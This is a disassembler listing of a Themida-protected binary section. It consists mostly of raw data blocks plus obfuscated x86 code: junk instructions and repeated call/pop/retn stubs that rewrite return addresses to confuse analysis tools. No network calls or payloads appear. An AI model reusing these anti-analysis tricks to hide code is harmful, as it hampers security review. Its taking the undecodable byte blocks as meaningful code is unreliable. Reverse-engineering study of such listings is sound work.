		dd 8B71E45Fh, 0F2B299Dh, 0F613C06h, 10A83h, 49BD8900h
		dd 0F060F17h, 0BD03C8B6h, 60F2171h, 0BAF98B66h,	6, 8B66C18Bh
		dd 4E8C1DAh, 0E9F9BF0Fh, 13h, 45785B31h, 9560094h, 0D8A7C6B3h
		dd 523D5B14h, 667E247Eh, 0DA8BE2F7h, 14E9C82Bh,	20000000h
		dd 0F1A71D7h, 2AA38FA6h, 2DCAEB33h, 0F8069085h,	8B73D3B8h
		dd 9D9509D1h, 0E9060F31h, 0A3h,	4C858BF9h, 0E8505F4Ch
		dd 11h,	15D05994h, 0A90BE10Ah, 0D7CD561Ch, 0B5B131F4h
		dd 1DBD297Fh, 5F060F14h, 10699D0Bh, 0C083060Fh,	0C99D8B07h
		dd 83060F08h, 816600C0h, 3B39DEDFh, 11830FD0h, 3000000h
		dd 0F2A55BDh, 55E906h, 9D230000h, 60F3321h, 0FFFF8D8Bh
		dd 10E8FFFFh, 0A0000000h, 422F62A5h, 71DC20EEh,	641CF711h
		dd 5FD4F48Ch, 0F01E183h, 2A84h,	45858900h, 83060F12h, 0FFFFFFA5h
		dd 0BD8BFEFFh, 60F088Dh, 192D9D8Bh, 9589060Fh, 505F4C4Ch
		dd 0BB66D98Bh, 0E90E46h, 8D000000h, 13A40DB5h, 68F0F06h
		dd 8B000000h, 0F23A19Dh, 6A006A06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 20D5C356h
		dd 0FFC7ABBDh, 0F345195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0B9B3AA3Ah
		dd 0F55h, 83FAB70Fh, 0BD8BFCE1h, 60F0105h, 599D89FCh, 2B060F33h
		dd 2B5F56C0h, 0F5BD31D2h, 0AD060F26h, 0E8D1C233h, 0E983D003h
		dd 8BF47504h, 0F2EC99Dh, 6AF906h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 182295C3h, 11E87Fh, 0ADB0000h
		dd 0A803CFF7h, 437EAB8Eh, 0BABF42E6h, 60ED778Fh, 0BD8B5857h
		dd 60F1BEDh, 880D5B61h,	60000000h, 2ACD9501h, 61F8060Fh
		dd 2C65958Bh, 6A060Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0A1D62BC3h, 8B664C36h, 0C18D8BDEh
		dd 89060F07h, 0F1E299Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0BA2CC356h,	1F7DC7Eh
		dd 0BD8B7EC7h, 60F148Dh, 843EBBBh, 55006A3Eh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 3D9D31E6h
		dd 83060F27h, 0F2AD5BDh, 840F0006h, 7Eh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 0CCC35747h, 0ECA381BFh
		dd 0B818h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 6030ECC3h, 0E6ED2BA9h, 0A78D8DC4h
		dd 6A060F4Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 37FEC355h, 370DB02Dh, 0DB7EF372h
		dd 8D31E1FFh, 60F28ADh,	0BD8389B7h, 60F2491h, 97840F00h
		dd 66000004h, 837E32BFh, 0F2491BDh, 840F0106h, 4A1h, 6E9h
		dd 0A79C2700h, 83333B5Eh, 0F2491BDh, 860F0306h,	453h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B6C35646h, 0D8200ACAh
		dd 0F4A124B7h, 759D03h,	9D8B060Fh, 60F14E1h, 0BDBD2B60h
		dd 66060F2Ch, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0AFAD72C3h, 47EA49F4h, 0E92E8A13h
		dd 14h,	5C6BCB35h, 0A15C3A20h, 0EB79223Ch, 0E96E9B88h
		dd 0B860D992h, 6A04E180h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 8367C351h, 7190E631h
		dd 0F436197Dh, 0D95BD8Bh, 830F060Fh, 0
; ---------------------------------------------------------------------------
		or	cl, cl
		jz	loc_59DDCB
		mov	[ebp+60F23F9h],	eax
		mov	eax, [ebp+60F2DA9h]
		cld
		xor	eax, [ebp+60F19ADh]
		add	ebx, [ebp+60F33A5h]
		push	eax
		jmp	loc_59DCE5
; ---------------------------------------------------------------------------
		db 74h
		dd 668B892Ch, 4F82D914h
		db 36h
; ---------------------------------------------------------------------------


loc_59DCE5:				; CODE XREF: Themida_:0059DCD6j
		mov	[esp], eax
		mov	[ebp+60F17B1h],	ebx
		push	0
		push	0
		push	edx
		call	sub_59DCFB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59DCFB	proc near		; CODE XREF: Themida_:0059DCF3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_59DCFB	endp

; ---------------------------------------------------------------------------
		inc	esi
		add	edx, [ecx-42766F3Dh]
		jnz	short near ptr loc_59DD22+2
		clts
		push	7B14A115h
		js	loc_59DD28
		push	ebx


loc_59DD22:				; CODE XREF: Themida_:0059DD12j
		mov	ebx, 572AF47Ch
		pop	edi


loc_59DD28:				; CODE XREF: Themida_:0059DD1Bj
		xor	dword ptr [esp], 7B0BA2EAh
		and	ebx, 7B7DB67Bh
		call	dword ptr [ebp+60F34C9h]
		push	0
		push	edi
		call	sub_59DD46
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59DD46	proc near		; CODE XREF: Themida_:0059DD3Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_59DD46	endp

; ---------------------------------------------------------------------------
		mov	edi, 286FF92Fh
		push	169DBD2Bh
		clts
		mov	[ebp+612BAC6h],	eax
		push	0
		push	ebx
		call	sub_59DD73
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59DD73	proc near		; CODE XREF: Themida_:0059DD6Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_59DD73	endp

; ---------------------------------------------------------------------------
		db 1Bh
		dd 0FB914BFAh, 0BD09009Ah, 60F22EDh, 21DE9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0E9B598A6h, 13h, 0BD443FAAh,	0FA0F3EE7h, 494DCBD7h
		dd 55203DB1h
		db 3, 0EEh, 77h
; ---------------------------------------------------------------------------


loc_59DDCB:				; CODE XREF: Themida_:0059DCB6j
		mov	eax, [ebp+612BABEh]
		push	0
		push	ebp
		call	sub_59DDDC
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59DDDC	proc near		; CODE XREF: Themida_:0059DDD4p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_59DDDC	endp

; ---------------------------------------------------------------------------
		dd 6F67BB73h, 0C7F91596h, 1800h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 9D313694h
		dd 60F315Dh, 0BAC2B58Bh, 0BF660612h, 858B93EBh,	60F2FA9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 22C35343h
		dd 9D8E62EAh, 30FDB44Ch, 0DE98Bh, 18780000h, 96095395h
		dd 371A097Fh, 0E9D77729h, 14h, 36F1D905h, 0FFE7A49Ch, 0C283321h
		dd 0E8813C2Eh, 6A2A8864h, 6A0689h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 931748C3h, 7119BEA8h
		dd 0ADBD8B84h, 8B060F07h, 0F2DA985h, 6890F06h, 8B000000h
		dd 0F19E99Dh, 4468906h,	11E9h, 0E9DD6A00h, 5C4285A7h, 0C34120E9h
		dd 0D0CD99C0h, 0F50A979h, 58Ch,	0BBF9BF00h, 34897CAFh
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0F1A71D7h, 66A38FA6h, 4BDFD381h,	0BABEB5FFh
		dd 8D890612h, 60F28D9h,	4F8FD268h, 8E815h, 0C7D90000h
		dd 816E43C6h, 8B66992Ah, 34815BF8h, 508C2D24h, 53006A15h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 75F39Fh, 0F1BD2BA1h,	8D060F0Ah, 12BAC685h, 5830F06h
		dd 66000000h, 42C1F781h, 10E950h, 479D0000h, 2D9941Ch
		dd 7B947681h, 55183889h, 489C92Bh, 0DD9D8924h, 0FF060F1Bh
		dd 0F34C995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 199D895Bh, 66060F32h, 0F61DE8Bh
		dd 85C7FFBFh, 60F2491h,	3, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0B3C35040h, 6E8B7196h, 1D830FD9h, 0E8000000h
		dd 11h,	541EEF28h, 0B744E9A8h, 5CFFEC70h, 45EF5574h, 4D9D8BF1h
		dd 5B060F1Bh, 0BD83D88Bh, 612BAC6h, 48840F00h, 0E8000000h
		dd 9, 30996D47h, 28F55897h, 0CB81666Eh,	0BB5BC824h, 7E136E8h
		dd 45E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 0C9145695h, 6E9h,	0B6990B00h, 501958BBh
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 9D0BC08Bh, 60F2CB5h,	14898529h, 9589060Fh, 60F2C05h
		dd 2491BD83h, 0F03060Fh, 4C785h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0F40CAEEFh
		dd 0FDE3E54h, 840FDFBFh, 7, 18A0Fh, 83F50000h, 12BAC6BDh
		dd 840F0006h, 488h, 1E2DBD89h, 0B5FF060Fh, 612BAC6h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0E8C35242h, 9D8B79E1h
		dd 60F097Dh, 0FE9h, 0FC3BE100h,	13D8BCD6h, 2B9BF3A5h, 0E3DDF67h
		dd 27FD95FFh, 0B70F060Fh, 0BAB58BFEh, 6A0612BAh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0B391C350h, 850927EEh, 60F3151h, 106C7h, 8C0F0001h
		dd 6, 120D9D8Bh, 5096060Fh, 6E95250h, 0B1000000h, 34269065h
		dd 60310F0Ch, 83B8F28Bh, 616F8AE4h, 5696585Ah, 0AE9h, 6FDE9500h
		dd 40D7F907h, 5F43A69Bh, 0BAC6B5FFh, 85890612h,	60F0075h
		dd 130195FFh, 0D381060Fh, 225EDD09h, 0BABAB58Bh, 6A0612h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 882C85C3h, 92A19A02h, 8BA97D41h, 0F1D1585h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0E45FB6C5h, 0F624793h, 8689DEB7h, 0C4h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0E1C35747h, 2C65958Bh
		dd 6A060Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0F0F3ACC3h, 5CE57ABAh, 0E59D8B5Ah, 8B060F26h
		dd 4C283FBh, 0FE9h, 7AEAEA00h, 9CBBEAB5h, 5C5CE7FBh, 6C22E1A3h
		dd 6A205089h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0A085C353h, 0DBFCAE5Fh, 1D7DBD8Bh
		dd 858D060Fh, 612CF14h,	32D9B589h, 8689060Fh, 0B8h, 6AFE8Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0FBC35747h
		dd 0D2111F3h, 0A076A1Eh, 6810Fh, 0B5890000h, 60F0DCDh
		dd 0BAC6B5FFh, 0B70F0612h, 0FD95FFDBh, 6A060F30h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 37DAC355h, 6489EF69h, 8957ED5Bh, 0F3049B5h, 0B3505B06h
		dd 243489F2h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	0E1C35545h, 2F10D72h, 0ABA1A5A9h, 6E860EBh, 45000000h
		dd 0B57158A3h, 8E93Fh, 0E710000h, 0C75A487Ch, 81596A71h
		dd 0A4011BE9h, 0B5FF616Bh, 612BAC6h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 31C35343h, 0D03B45D9h, 0FBF3E87h
		dd 0F46249Fh, 0C8Ah, 7E900h, 44BB0000h,	35705629h, 0E595FFA6h
		dd 66060F12h, 0EECEF81h, 27A1BD83h, 0F00060Fh, 8384h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 515D8D8Fh, 2F58810Ch, 0D1BD8978h, 96060F26h,	6DE662BFh
		dd 0E8605033h, 11h, 81674D51h, 888DD0E1h, 2646A7Dh, 84EEFEDEh
		dd 6E9D5h, 0A7390000h, 2D5E41D5h, 0FB79BA5Bh, 96611EC5h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 35C35040h
		dd 4BD64502h, 0F781300Dh, 7A8E7A57h, 0BAC6B5FFh, 6A0612h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 4DA6BDC3h, 0FED92876h, 850B6037h, 60F1355h, 2209BD89h
		dd 0FF61060Fh, 0F341595h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 91C7BA47h
		dd 0E95E653Fh, 9D895AE2h, 60F0DB1h, 0BAC6B5FFh,	6A0612h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8D89AFC3h, 60F301Dh,	0AF595FFh, 8166060Fh, 839F51F3h
		dd 0F07A9BDh, 840F0206h, 5Fh, 6800Fh, 9D8B0000h, 60F1091h
		dd 2C8D858Bh, 6A060Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0BBCE90C3h, 0BD41D2F0h, 8B54E442h
		dd 0C6F8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	88C35040h, 9D9D0951h, 0C7060F2Dh, 0F106D85h, 6
		dd 11E9F800h, 7B000000h, 0FE0BA0F1h, 614F6371h,	0DF3999C4h
		dd 32187F1Fh, 0FFF2A5E9h, 35BD89FFh, 8B060F05h,	56006AC1h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0BF3DD62Fh, 8969A28Fh, 0F24F59Dh, 61858D06h,	6A060F14h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 25FFC356h
		dd 3C9573F5h, 0C1A3FCD6h, 0DE8A50F9h, 6A240489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0F58CC350h, 6A006Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 6AE222C3h, 5E95200h, 0BD000000h
		dd 0D36315DBh, 0DD9D2B5Bh, 8D060F00h, 14394685h, 0D19D8906h
		dd 83060F14h, 5E905C0h,	9B000000h, 8E149D26h, 0E46ABF90h
		dd 0E8504A1Fh, 0Dh, 0E7FE09EBh,	2C3A90A9h, 0C39D0F57h
		dd 66905F3Ch, 0C798C381h, 1BF19D8Bh, 6A060Fh, 0CE9h, 0A3289000h
		dd 61E5914Dh, 83008782h, 6A006AD8h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 3CBAC356h
		dd 6A54F06Dh, 535456D5h, 14B58529h, 0FF5F060Fh,	0F348D95h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0CF7D779Fh, 8993CA09h, 0F1D7595h, 55852906h
		dd 8D060F30h, 12985E8Dh, 2D8D8906h, 0FF060F2Bh,	52006AD1h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 97C200C0h, 0D5B78FFAh, 10E991h, 9B910000h, 5BC8AAE1h
		dd 3C4DE441h, 0F5A263AEh, 0DE8108Ah, 0BD000000h, 67DC8E93h
		dd 0CD8A30F6h, 0DA273F43h, 0ADBD835Fh, 1060F21h, 0AA850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 79A5F1C3h, 28259D8Bh, 0BF66060Fh,	26A2FCFh
		dd 12E8h, 0CB7B6E00h, 31F55301h, 0AB4947C0h, 6FCEFC93h
		dd 8B6ECD77h, 0F248DBDh, 66505B06h, 489FE8Bh, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 35BD0185h, 0FF060F05h, 0F30FD95h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 602DA7C1h
		dd 6339BB66h, 0BE9h, 36D6100h, 693E3906h, 969B90F0h, 0DE0E9h
		dd 0E800h, 815D0000h, 143950EDh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 420EDFA2h
		dd 9D3363D7h, 60F3409h,	8847858Dh, 850F0612h, 11h, 0CE9h
		dd 0E4A28000h, 806CF5B4h, 0DA833A01h, 8C0F901Fh, 0
; ---------------------------------------------------------------------------
		push	eax
		jmp	loc_59E87E
; ---------------------------------------------------------------------------
		dw 6BC5h
		dd 6F160786h, 0EBB7A50Fh
; ---------------------------------------------------------------------------
		pop	esi
		xlat


loc_59E87E:				; CODE XREF: Themida_:0059E86Dj
		nop
		push	0
		push	ecx
		call	sub_59E88A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59E88A	proc near		; CODE XREF: Themida_:0059E882p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_59E88A	endp

; ---------------------------------------------------------------------------
		mov	edx, 0E5E0B3C3h
		dec	edx
		leave
		mov	eax, ds:29B59D8Bh
		clts
		push	large dword ptr	fs:0
		push	0
		push	esi
		call	sub_59E8BA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59E8BA	proc near		; CODE XREF: Themida_:0059E8B2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_59E8BA	endp

; ---------------------------------------------------------------------------
		dw 0DB00h
		dd 89641D4Eh, 25h, 0D19D2B00h, 0FF060F23h, 0F245985h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0FF6AF5A0h, 15E59D01h, 8F0F060Fh, 3,	0FFC5F380h, 0F0839B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 81F1807Ch, 0A482A7E3h, 5595FF69h, 0E9060F14h
		dd 11Bh, 7D7731BFh, 0FE8B662Ah,	816600B0h, 60BE26DFh, 0D5BD29h
		dd 0E661060Fh, 0FDB58970h, 0E4060F18h, 0FBB70F71h, 830F613Ch
		dd 0EFh, 7918531h, 0B60F060Fh, 0EF8166C8h, 6BAA5A2h, 8B000000h
		dd 0F13659Dh, 89C18B06h, 0F05099Dh, 4E8C106h, 0F766FE8Bh
		dd 88E0FE2h, 50000000h,	26BD9D8Bh, 2B5B060Fh, 0CFD381C8h
		dd 8B7A2678h, 99501D1h,	0E9060F2Bh, 0A3h, 0CE9h, 0E409C100h
		dd 37C44795h, 17901C23h, 4C858B6Bh, 8B494755h, 0F04F99Dh
		dd 7C08306h, 0DE9h, 2C587800h, 6F2ED1EDh, 81B866D7h, 0C083F84Ch
		dd 7FD38100h, 89664A4Dh, 0F334985h, 0FD03B06h, 0F83h, 0C7816600h
		dd 50E9861Ch, 0BB000000h, 44124202h, 0FFFF8D8Bh, 0EE9FFFFh
		dd 0E5000000h, 41C7EAC9h, 0D20EEF58h, 0D527205Fh, 1E183C1h
		dd 29840Fh, 9D330000h, 60F1A4Dh, 19E99D89h, 0A583060Fh
		dd 0FFFFFFFFh, 5870FFEh, 66000000h, 59CAF781h, 554C9589h
		dd 0E94947h, 8D000000h,	13B362B5h, 0C8816006h, 0A78982Dh
		dd 810F51h, 5B000000h, 29006A61h, 0F1091BDh, 5195FF06h
		dd 6A060F34h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 80C7C353h, 794DFB12h, 38B0Fh
		dd 8B660000h, 10A9B9FBh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0B182B3C3h, 5334CBA0h
		dd 0FE857BEh, 44000000h, 0EF287C6Eh, 0E9A8541Eh, 0EC70B744h
		dd 9D8B5CFFh, 60F122Dh,	0E1835F5Fh, 56006AFCh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 5F52CCC2h
		dd 55006AFCh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 19406561h, 0CDBD8B93h, 0B8060F04h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_59EB4B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59EB4B	proc near		; CODE XREF: Themida_:0059EB43p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_59EB4B	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 666E19C5h, 1B79CB81h, 0BAh, 5DBD8900h, 0AD060F32h, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 9D8AC352h, 661CE9D0h
		dd 9501D88Bh, 60F2951h,	880Dh, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 898B8F9Eh
		dd 0F2EC98Dh, 65958B06h, 6A060F2Ch, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0BB0DC350h
		dd 0FABB6609h, 0C18D8B72h, 56060F07h, 0B35B44B7h, 0C28B508Bh
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0AC77C351h, 4FC51EDh, 6AAFD601h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 159BC356h
		dd 2AD5BD83h, 0F00060Fh, 9684h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 139F4C2Eh
		dd 1D958942h, 0F060F00h, 58Eh, 0BD95BF00h, 0B85F21h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0EE0BC356h, 0E4672A0Fh, 0A78D8D1Bh, 89060F4Ch
		dd 0F125D95h, 0D98B6606h, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0B40530C3h, 8B49ED74h
		dd 0F2DB59Dh, 51BD3306h, 83060F30h, 0F2491BDh, 840F0006h
		dd 46Bh, 9DCF8166h, 91BD8366h, 1060F24h, 474840Fh, 0BD2B0000h
		dd 60F1A69h, 2491BD83h,	0F03060Fh, 42B86h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 8E0F60DBh, 0
; ---------------------------------------------------------------------------
		mov	dx, ax
		popa
		pusha
		push	0
		push	edi
		call	sub_59ED5C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59ED5C	proc near		; CODE XREF: Themida_:0059ED54p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_59ED5C	endp

; ---------------------------------------------------------------------------
		xchg	eax, edx
		mul	dword ptr [edi-55h]
		add	[ebx], esi
		cld
		mov	cx, ds
		mov	[ebp+60F1B41h],	esi
		mov	bx, cx
		and	cl, 4
		call	sub_59ED90
		retn
; ---------------------------------------------------------------------------
		dd 8937735h, 2708E0E0h

; =============== S U B	R O U T	I N E =======================================



sub_59ED90	proc near		; CODE XREF: Themida_:0059ED82p

; FUNCTION CHUNK AT 0059EED2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059EEE3 SIZE 00000011 BYTES

		add	ebx, [ebp+60F0DA1h]
		pop	edi
		xor	ebx, 640A13Bh
		or	cl, cl
		jz	loc_59EED2
		mov	[ebp+60F0911h],	edx
		mov	eax, [ebp+60F2DA9h]
		push	0
		push	eax
		call	sub_59EDBC
		and	[eax-3Dh], bl
sub_59ED90	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_59EDBC	proc near		; CODE XREF: sub_59ED90+24p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_59EDBC	endp

; ---------------------------------------------------------------------------
		dd 0BE909h, 438F0000h, 6A08CDC1h, 8311E541h, 0AD85333Bh
		dd 6A060F19h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 230AC350h, 0C0FCADC1h,	0D799501h
		dd 0E990060Fh, 11h, 0F32575E6h,	2013E51Bh, 9BF674Bh, 3B1DCE5Ah
		dd 0BB665048h, 0F9008F6h, 6ADABFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 3CC35242h, 0A9E3FD79h, 89FC8E84h
		dd 0F2265B5h, 183A6806h, 9E9B001h, 25000000h, 186FA97Ch
		dd 7F278A02h, 0C5240481h, 6A501DEBh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 6B3BC356h
		dd 1BD89ECh, 0FF060F29h, 0F34C995h, 99D8906h, 89060F30h
		dd 12BAC685h, 358D8906h, 0E9060F13h, 1EBh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0E7C35747h, 0C2A84729h
; ---------------------------------------------------------------------------
		scasd
		xchg	eax, ebx
; START	OF FUNCTION CHUNK FOR sub_59ED90


loc_59EED2:				; CODE XREF: sub_59ED90+Fj
		mov	eax, [ebp+612BABEh]
		jmp	loc_59EEE3
; END OF FUNCTION CHUNK	FOR sub_59ED90
; ---------------------------------------------------------------------------
		pop	esi
		lea	esi, [esi]
		rcl	dl, 0F1h
; START	OF FUNCTION CHUNK FOR sub_59ED90


loc_59EEE3:				; CODE XREF: sub_59ED90+148j
		mov	dword ptr [eax], 18h
		push	0
		push	edi
		call	sub_59EEF4
		and	[edi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_59ED90

; =============== S U B	R O U T	I N E =======================================



sub_59EEF4	proc near		; CODE XREF: sub_59ED90+15Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_59EEF4	endp

; ---------------------------------------------------------------------------
		sub	[ebp-36h], bh
		pop	dword ptr [edi]
		mov	edi, [ebp+60F1A11h]
		mov	esi, [ebp+612BAC2h]
		push	0
		push	ecx
		call	sub_59EF20
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59EF20	proc near		; CODE XREF: Themida_:0059EF18p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_59EF20	endp

; ---------------------------------------------------------------------------
		dd 8166F685h, 891426CBh, 0F100585h, 0A9858B06h,	0E8060F2Fh
		dd 0Dh,	0B530C7B3h, 0B6B160A8h,	0FBB9EA63h, 6658BB22h
		dd 895B12BCh, 498D8906h, 8B060F1Ah, 0F2DA985h, 0FE806h
		dd 0DE300000h, 9D029D1Ch, 0A2D60AD8h, 0D1DDE2EAh, 0BDBD29BEh
